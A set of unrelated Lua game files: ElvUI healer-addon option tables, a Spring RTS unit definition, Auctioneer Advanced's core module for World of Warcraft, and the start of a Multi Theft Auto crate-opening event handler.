min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
raid40options = {
order = getOrder(),
type = 'group',
name = "Raid 40 Options",
guiInline = true,
get = function(info) return E.db.unitframe.units['raid40']['priestaoe']['ch'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe']['ch'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
}
}
E.Options.args.epa.args.pwr = {
type = 'group',
name = 'Power Word Radiance',
order = getOrder(),
--get = function(info) return AS:CheckOption(info[#info]) end,
--set = function(info, value) AS:SetOption(info[#info], value) end,
guiInline = false,
args = {
pwr_enable = {
order = getOrder(),
type = "toggle",
name = "Enable",
desc = "Enable PW: Radiance",
get = function()
return E.db.epa.pwr.enable
end,
set = function(_, v)
E.db.epa.pwr.enable = v
if not v then
if EPA.OnStatusDisable then
EPA:OnStatusDisable("pwr")
end
end
end,
},
pwr_icon_style = {
name = "Style",
order = getOrder(),
type = "select",
get = function() return E.db.epa.pwr.style end,
set = function(_, v) E.db.epa.pwr.style = v; EPA:RetextureIcons('pwr') end,
values = {
['texturedIcon'] = "Textured Icon",
['coloredIcon'] = "Colored Icon",
},
},
pwr_color = {
name = "Color",
order = getOrder(),
type = "color",
get = function()
local c = E.db.epa.pwr.color
return c.r, c.g, c.b
end,
set = function(_, r, g, b)
local c = E.db.epa.pwr.color
c.r, c.g, c.b = r, g, b
end,
},
--[[pwr_numtargets = {
name = "Min Targets",
desc = "Minimum number to show icon",
order = getOrder(),
type = "range",
min = 1,
max = 6,
step = 1,
get = function() return E.db.epa.pwr.numtargets end,
set = function(_, v) E.db.epa.pwr.numtargets = v end,
},]]
pwr_opacity = {
name = "Opacity",
desc = "Opacity for Holy Radiance",
order = getOrder(),
type = "range",
min = 0.05,
max = 1,
step = 0.05,
isPercent = true,
get = function() local color = E.db.epa.pwr.color return color.a end,
set = function(_, a) local color = E.db.epa.pwr.color color.a = a or 1 end,
--func = function() GridStatus:ResetClassColors() end,
},
pwr_threshold = {
order = getOrder(),
type = "range",
name = "Overheal threshold",
desc = "Show when less than this % of overheal will occur. 100 will always show the icon.",
softMax = 100,
min = 0,
step = 1,
width = "full",
get = function () return E.db.epa.pwr.threshold end,
set = function (_, v) E.db.epa.pwr.threshold = v end,
},
iconoptions = {
order = getOrder(),
type = 'group',
name = 'PWR Icon Options',
guiInline = true,
get = function(info) return E.db.unitframe.units['raid']['priestaoe']['pwr'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe']['pwr'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
raid40options = {
order = getOrder(),
type = 'group',
name = "Raid 40 Options",
guiInline = true,
get = function(info) return E.db.unitframe.units['raid40']['priestaoe']['pwr'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe']['pwr'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
}
}
E.Options.args.epa.args.wg = {
type = 'group',
name = 'Wild Growth',
order = getOrder(),
--get = function(info) return AS:CheckOption(info[#info]) end,
--set = function(info, value) AS:SetOption(info[#info], value) end,
guiInline = false,
args = {
wg_enable = {
order = getOrder(),
type = "toggle",
name = "Enable",
desc = "Enable Wild Growth",
get = function()
return E.db.epa.wg.enable
end,
set = function(_, v)
E.db.epa.wg.enable = v
if not v then
if EPA.OnStatusDisable then
EPA:OnStatusDisable("wg")
end
end
end,
},
wg_icon_style = {
name = "Style",
order = getOrder(),
type = "select",
get = function() return E.db.epa.wg.style end,
set = function(_, v) E.db.epa.wg.style = v; EPA:RetextureIcons('wg') end,
values = {
['texturedIcon'] = "Textured Icon",
['coloredIcon'] = "Colored Icon",
},
},
wg_color = {
name = "Color",
order = getOrder(),
type = "color",
get = function()
local c = E.db.epa.wg.color
return c.r, c.g, c.b
end,
set = function(_, r, g, b)
local c = E.db.epa.wg.color
c.r, c.g, c.b = r, g, b
end,
},
wg_opacity = {
name = "Opacity",
desc = "Opacity for Wild Growth",
order = getOrder(),
type = "range",
min = 0.05,
max = 1,
step = 0.05,
isPercent = true,
get = function() local color = E.db.epa.wg.color return color.a end,
set = function(_, a) local color = E.db.epa.wg.color color.a = a or 1 end,
--func = function() GridStatus:ResetClassColors() end,
},
wg_threshold = {
order = getOrder(),
type = "range",
name = "Overheal Threshold",
desc = "Show WG when less than this % of overheal will occur. 100 will always show the icon, pending other settings!",
softMax = 100,
min = 0,
step = 1,
width = "full",
get = function () return E.db.epa.wg.threshold end,
set = function (_, v) E.db.epa.wg.threshold = v end,
},
wg_hidecd = {
order = getOrder(),
type = "toggle",
name = "Hide while on cooldown",
desc = "Hide status while Wild Growth is on cooldown",
width = "full",
get = function () return E.db.epa.wg.hidecd end,
set = function (_, arg) E.db.epa.wg.hidecd = arg end,
},
iconoptions = {
order = getOrder(),
type = 'group',
name = 'WG Icon Options',
guiInline = true,
get = function(info) return E.db.unitframe.units['raid']['priestaoe']['wg'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe']['wg'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
raid40options = {
order = getOrder(),
type = 'group',
name = "Raid 40 Options",
guiInline = true,
get = function(info) return E.db.unitframe.units['raid40']['priestaoe']['wg'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe']['wg'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
}
}
}
E.Options.args.unitframe.args['raid'].args.priestaoe = {
order = getOrder(),
type = 'group',
name = 'ElvUI Priest AoE',
get = function(info) return E.db.unitframe.units['raid']['priestaoe'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe'][ info[#info] ] = value; end,
args = {
poh = {
order = getOrder(),
type = 'group',
name = 'Prayer of Healing',
get = function(info) return E.db.unitframe.units['raid']['priestaoe']['poh'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe']['poh'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
coh = {
order = getOrder(),
type = 'group',
name = 'Circle of Healing',
get = function(info) return E.db.unitframe.units['raid']['priestaoe']['coh'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe']['coh'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
ch = {
order = getOrder(),
type = 'group',
name = 'CH Icon Options',
get = function(info) return E.db.unitframe.units['raid']['priestaoe']['ch'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe']['ch'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
pwr = {
order = getOrder(),
type = 'group',
name = 'PWR Icon Options',
get = function(info) return E.db.unitframe.units['raid']['priestaoe']['pwr'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe']['pwr'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
wg = {
order = getOrder(),
type = 'group',
name = 'WG Icon Options',
get = function(info) return E.db.unitframe.units['raid']['priestaoe']['wg'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid']['priestaoe']['wg'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
},
}
E.Options.args.unitframe.args['raid40'].args.priestaoe = {
order = getOrder(),
type = 'group',
name = 'ElvUI Priest AoE',
get = function(info) return E.db.unitframe.units['raid40']['priestaoe'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe'][ info[#info] ] = value; end,
args = {
poh = {
order = getOrder(),
type = 'group',
name = 'Prayer of Healing',
get = function(info) return E.db.unitframe.units['raid40']['priestaoe']['poh'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe']['poh'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
coh = {
order = getOrder(),
type = 'group',
name = 'Circle of Healing',
get = function(info) return E.db.unitframe.units['raid40']['priestaoe']['coh'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe']['coh'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
ch = {
order = getOrder(),
type = 'group',
name = 'CH Icon Options',
get = function(info) return E.db.unitframe.units['raid40']['priestaoe']['ch'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe']['ch'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
pwr = {
order = getOrder(),
type = 'group',
name = 'PWR Icon Options',
get = function(info) return E.db.unitframe.units['raid40']['priestaoe']['pwr'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe']['pwr'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
wg = {
order = getOrder(),
type = 'group',
name = 'WG Icon Options',
get = function(info) return E.db.unitframe.units['raid40']['priestaoe']['wg'][ info[#info] ] end,
set = function(info, value) E.db.unitframe.units['raid40']['priestaoe']['wg'][ info[#info] ] = value; EPA:ApplyIconOptions(); end,
args = {
enable = {
type = 'toggle',
order = getOrder(),
name = 'Enable',
},
attachTo = {
type = 'select',
order = getOrder(),
name = 'Position',
values = auraAnchors,
},
size = {
type = 'range',
name = 'Size',
order = getOrder(),
min = 8, max = 30, step = 1,
},
xOffset = {
order = getOrder(),
type = 'range',
name = 'xOffset',
min = -50, max = 50, step = 1,
},
yOffset = {
order = getOrder(),
type = 'range',
name = 'yOffset',
min = -50, max = 50, step = 1,
},
test = {
order = getOrder(),
type = 'toggle',
name = 'Test Mode',
get = function () return E.db.epa.debug.testmode end,
set = function (_, v) E.db.epa.debug.testmode = v; EPA:ToggleTestMode(v) end,
},
},
},
},
}
end
table.insert(E.EPAConfigs, configTable)
|
return {
corcrab = {
acceleration = 0.2,
activatewhenbuilt = true,
brakerate = 0.75,
buildcostenergy = 444617,
buildcostmetal = 16427,
builddistance = 450,
builder = true,
buildpic = "corcrab.dds",
buildtime = 650000,
canguard = true,
canmove = true,
canpatrol = true,
canreclaim = true,
canstop = 1,
category = "ALL MOBILE SMALL SURFACE UNDERWATER",
corpse = "dead",
defaultmissiontype = "Standby",
description = "Tech Level 4",
energymake = 100,
energystorage = 500,
explodeas = "BIG_UNITEX",
footprintx = 5,
footprintz = 5,
idleautoheal = 5,
idletime = 60,
losemitheight = 50,
maneuverleashlength = 640,
mass = 16427,
maxdamage = 16460,
metalmake = 2,
metalstorage = 100,
maxslope = 14,
maxvelocity = 1.35,
maxwaterdepth = 22,
mobilestandorders = 1,
movementclass = "KBOT2",
name = "Shielded Construction Kbot",
noautofire = false,
objectname = "corcrab",
radaremitheight = 50,
reclaimspeed = 810,
repairspeed = 810,
selfdestructas = "CRAWL_BLASTSML",
shownanospray = false,
sightdistance = 600,
standingmoveorder = 1,
stealth = true,
steeringmode = 1,
turninplaceanglelimit = 140,
turninplacespeedlimit = 1.056,
turnrate = 375,
unitname = "corcrab",
upright = true,
workertime = 1620,
buildoptions = {
[1] = "corefus",
--[2] = "corufus",
[3] = "cormas",
[4] = "cmetalmakerlvl3",
[5] = "corses",
[6] = "corsms",
[7] = "core_hexapod_lab",
[8] = "cshipyardlvl4",
[9] = "cornanotc3",
[10] = "coredrag",
[11] = "corurad",
[12] = "corpre",
[13] = "corgate1",
[14] = "corfmd2",
[15] = "corfsilo",
[16] = "corbuzz1",
[17] = "corusy",
},
customparams = {
buildpic = "corcrab.dds",
faction = "CORE",
shield_emit_height = 41.25,
shield_power = 5000,
shield_radius = 180,
},
featuredefs = {
dead = {
blocking = true,
collisionvolumeoffsets = "0 -5 1",
collisionvolumescales = "20 11 10",
collisionvolumetype = "Box",
damage = 23357,
description = "Crab Wreckage",
featuredead = "heap",
footprintx = 6,
footprintz = 6,
metal = 8081,
object = "corcrab_DEAD",
reclaimable = true,
customparams = {
fromunit = 1,
},
},
heap = {
blocking = false,
damage = 34447,
description = "Crab Debris",
footprintx = 2,
footprintz = 2,
metal = 6043,
object = "5X5D",
reclaimable = true,
customparams = {
fromunit = 1,
},
},
},
nanocolor = {
[1] = 0.16,
[2] = 0.56,
[3] = 0.16,
},
sfxtypes = {
pieceexplosiongenerators = {
[1] = "piecetrail0",
[2] = "piecetrail1",
[3] = "piecetrail2",
[4] = "piecetrail3",
[5] = "piecetrail4",
[6] = "piecetrail6",
},
},
sounds = {
canceldestruct = "cancel2",
underattack = "warning1",
cant = {
[1] = "cantdo4",
},
count = {
[1] = "count6",
[2] = "count5",
[3] = "count4",
[4] = "count3",
[5] = "count2",
[6] = "count1",
},
ok = {
[1] = "necrok1",
},
select = {
[1] = "necrsel1",
},
},
weapondefs = {
repulsor2 = {
craterareaofeffect = 0,
craterboost = 0,
cratermult = 0,
name = "PlasmaRepulsor",
shieldbadcolor = "1 0.2 0.2 0.30",
shieldenergyuse = 500,
shieldforce = 8,
shieldgoodcolor = "0.2 1 0.2 0.30",
shieldintercepttype = 1,
shieldmaxspeed = 250,
shieldpower = 5000,
shieldpowerregen = 45,
shieldpowerregenenergy = 500,
shieldradius = 180,
shieldrepulser = true,
smartshield = true,
soundhitwet = "sizzle",
soundhitwetvolume = 0.5,
visibleshieldrepulse = true,
weapontype = "Shield",
damage = {
default = 100,
subs = 5,
},
},
},
weapons = {
[1] = {
def = "REPULSOR2",
},
},
},
}
|
--[[
Auctioneer Advanced
Version: <%version%> (<%codename%>)
Revision: $Id: CoreMain.lua 2233 2007-09-25 03:57:33Z norganna $
URL: http://auctioneeraddon.com/
This is an addon for World of Warcraft that adds statistical history to the auction data that is collected
when the auction is scanned, so that you can easily determine what price
you will be able to sell an item for at auction or at a vendor whenever you
mouse-over an item in the game
License:
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program(see GPL.txt); if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
Note:
This AddOn's source code is specifically designed to work with
World of Warcraft's interpreted AddOn system.
You have an implicit licence to use this AddOn with these facilities
since that is its designated purpose as per:
http://www.fsf.org/licensing/licenses/gpl-faq.html#InterpreterIncompat
]]
--[[
See CoreAPI.lua for a description of the modules API
]]
if (not AucAdvanced) then AucAdvanced = {} end
if (not AucAdvancedData) then AucAdvancedData = {} end
if (not AucAdvancedLocal) then AucAdvancedLocal = {} end
if (not AucAdvancedConfig) then AucAdvancedConfig = {} end
AucAdvanced.Version="<%version%>";
if (AucAdvanced.Version == "<".."%version%>") then
AucAdvanced.Version = "5.0.DEV";
end
local private = {}
-- For our modular stats system, each stats engine should add their
-- subclass to AucAdvanced.Modules.<type>.<name> and store their data into their own
-- data table in AucAdvancedData.Stats.<type><name>
if (not AucAdvanced.Modules) then AucAdvanced.Modules = {Stat={},Util={},Filter={}} end
if (not AucAdvancedData.Stats) then AucAdvancedData.Stats = {} end
if (not AucAdvancedLocal.Stats) then AucAdvancedLocal.Stats = {} end
function private.TooltipHook(vars, ret, frame, name, hyperlink, quality, quantity, cost, additional)
if EnhTooltip.LinkType(hyperlink) ~= "item" then
return -- Auctioneer hooks into item tooltips only
end
-- Check to see if we need to force load scandata
local getter = AucAdvanced.Settings.GetSetting
if (getter("scandata.tooltip.display") and getter("scandata.force")) then
AucAdvanced.Scan.GetImage()
end
for system, systemMods in pairs(AucAdvanced.Modules) do
for engine, engineLib in pairs(systemMods) do
if (engineLib.Processor) then engineLib.Processor("tooltip", frame, name, hyperlink, quality, quantity, cost, additional) end
end
end
end
function private.HookAH()
hooksecurefunc("AuctionFrameBrowse_Update", AucAdvanced.API.ListUpdate)
for system, systemMods in pairs(AucAdvanced.Modules) do
for engine, engineLib in pairs(systemMods) do
if (engineLib.Processor) then
engineLib.Processor("auctionui")
end
end
end
end
function private.OnLoad(addon)
addon = addon:lower()
-- Check if the actual addon itself is loading
if (addon == "auc-advanced") then
Stubby.RegisterAddOnHook("Blizzard_AuctionUi", "Auc-Advanced", private.HookAH)
Stubby.RegisterFunctionHook("EnhTooltip.AddTooltip", 600, private.TooltipHook)
for pos, module in ipairs(AucAdvanced.EmbeddedModules) do
-- These embedded modules have also just been loaded
private.OnLoad(module)
end
end
-- Notify the actual module if it exists
local auc, sys, eng = strsplit("-", addon)
if (auc == "auc" and sys and eng) then
for system, systemMods in pairs(AucAdvanced.Modules) do
if (sys == system:lower()) then
for engine, engineLib in pairs(systemMods) do
if (eng == engine:lower() and engineLib.OnLoad) then
engineLib.OnLoad(addon)
end
end
end
end
end
-- Check all modules' load triggers and pass event to processors
for system, systemMods in pairs(AucAdvanced.Modules) do
for engine, engineLib in pairs(systemMods) do
if (engineLib.LoadTriggers and engineLib.LoadTriggers[addon]) then
if (engineLib.OnLoad) then
engineLib.OnLoad(addon)
end
end
if (engineLib.Processor and auc == "auc" and sys and eng) then
engineLib.Processor("load", addon)
end
end
end
end
function private.OnUnload()
for system, systemMods in pairs(AucAdvanced.Modules) do
for engine, engineLib in pairs(systemMods) do
if (engineLib.OnUnload) then
engineLib.OnUnload()
end
end
end
end
private.Schedule = {}
function private.OnEvent(...)
local event, arg = select(2, ...)
if (event == "ADDON_LOADED") then
local addon = string.lower(arg)
if (addon:sub(1,4) == "auc-") then
private.OnLoad(addon)
end
elseif (event == "AUCTION_HOUSE_SHOW") then
-- Do Nothing for now
elseif (event == "AUCTION_HOUSE_CLOSED") then
AucAdvanced.Scan.Interrupt()
elseif (event == "PLAYER_LOGOUT") then
AucAdvanced.Scan.Commit(true)
private.OnUnload()
elseif event == "UNIT_INVENTORY_CHANGED"
or event == "ITEM_LOCK_CHANGED"
or event == "CURSOR_UPDATE"
or event == "BAG_UPDATE"
then
private.Schedule["inventory"] = GetTime() + 0.15
end
end
function private.OnUpdate(...)
if event == "inventory" then
AucAdvanced.Post.AlertBagsChanged()
end
local now = GetTime()
for event, time in pairs(private.Schedule) do
if time > now then
for system, systemMods in pairs(AucAdvanced.Modules) do
for engine, engineLib in pairs(systemMods) do
if engineLib.Processor then
engineLib.Processor(event, time)
end
end
end
end
private.Schedule[event] = nil
end
end
private.Frame = CreateFrame("Frame")
private.Frame:RegisterEvent("ADDON_LOADED")
private.Frame:RegisterEvent("AUCTION_HOUSE_SHOW")
private.Frame:RegisterEvent("AUCTION_HOUSE_CLOSED")
private.Frame:RegisterEvent("UNIT_INVENTORY_CHANGED")
private.Frame:RegisterEvent("ITEM_LOCK_CHANGED")
private.Frame:RegisterEvent("CURSOR_UPDATE")
private.Frame:RegisterEvent("BAG_UPDATE")
private.Frame:RegisterEvent("PLAYER_LOGOUT")
private.Frame:SetScript("OnEvent", private.OnEvent)
private.Frame:SetScript("OnUpdate", private.OnUpdate)
-- Auctioneer's debug functions
AucAdvanced.Debug = {}
local addonName = "Auctioneer" -- the addon's name as it will be displayed in
-- the debug messages
-------------------------------------------------------------------------------
-- Prints the specified message to nLog.
--
-- syntax:
-- errorCode, message = debugPrint([message][, category][, title][, errorCode][, level])
--
-- parameters:
-- message - (string) the error message
-- nil, no error message specified
-- category - (string) the category of the debug message
-- nil, no category specified
-- title - (string) the title for the debug message
-- nil, no title specified
-- errorCode - (number) the error code
-- nil, no error code specified
-- level - (string) nLog message level
-- Any nLog.levels string is valid.
-- nil, no level specified
--
-- returns:
-- errorCode - (number) errorCode, if one is specified
-- nil, otherwise
-- message - (string) message, if one is specified
-- nil, otherwise
-------------------------------------------------------------------------------
function AucAdvanced.Debug.DebugPrint(message, category, title, errorCode, level)
return DebugLib.DebugPrint(addonName, message, category, title, errorCode, level)
end
-------------------------------------------------------------------------------
-- Used to make sure that conditions are met within functions.
-- If test is false, the error message will be written to nLog and the user's
-- default chat channel.
--
-- syntax:
-- assertion = assert(test, message)
--
-- parameters:
-- test - (any) false/nil, if the assertion failed
-- anything else, otherwise
-- message - (string) the message which will be output to the user
--
-- returns:
-- assertion - (boolean) true, if the test passed
-- false, otherwise
-------------------------------------------------------------------------------
function AucAdvanced.Debug.Assert(test, message)
return DebugLib.Assert(addonName, test, message)
end
|
addEvent("onPlayerOpenCrate", true)
addEventHandler("onPlayerOpenCrate", root, function (itemName)
if not itemName then
return
end
local inventory = getPlayerInventory(client)
if not isInventory(inventory) then
return
end
local item = getPlayerInventoryItem(client, itemName)
if not isItem(item) then
return
end
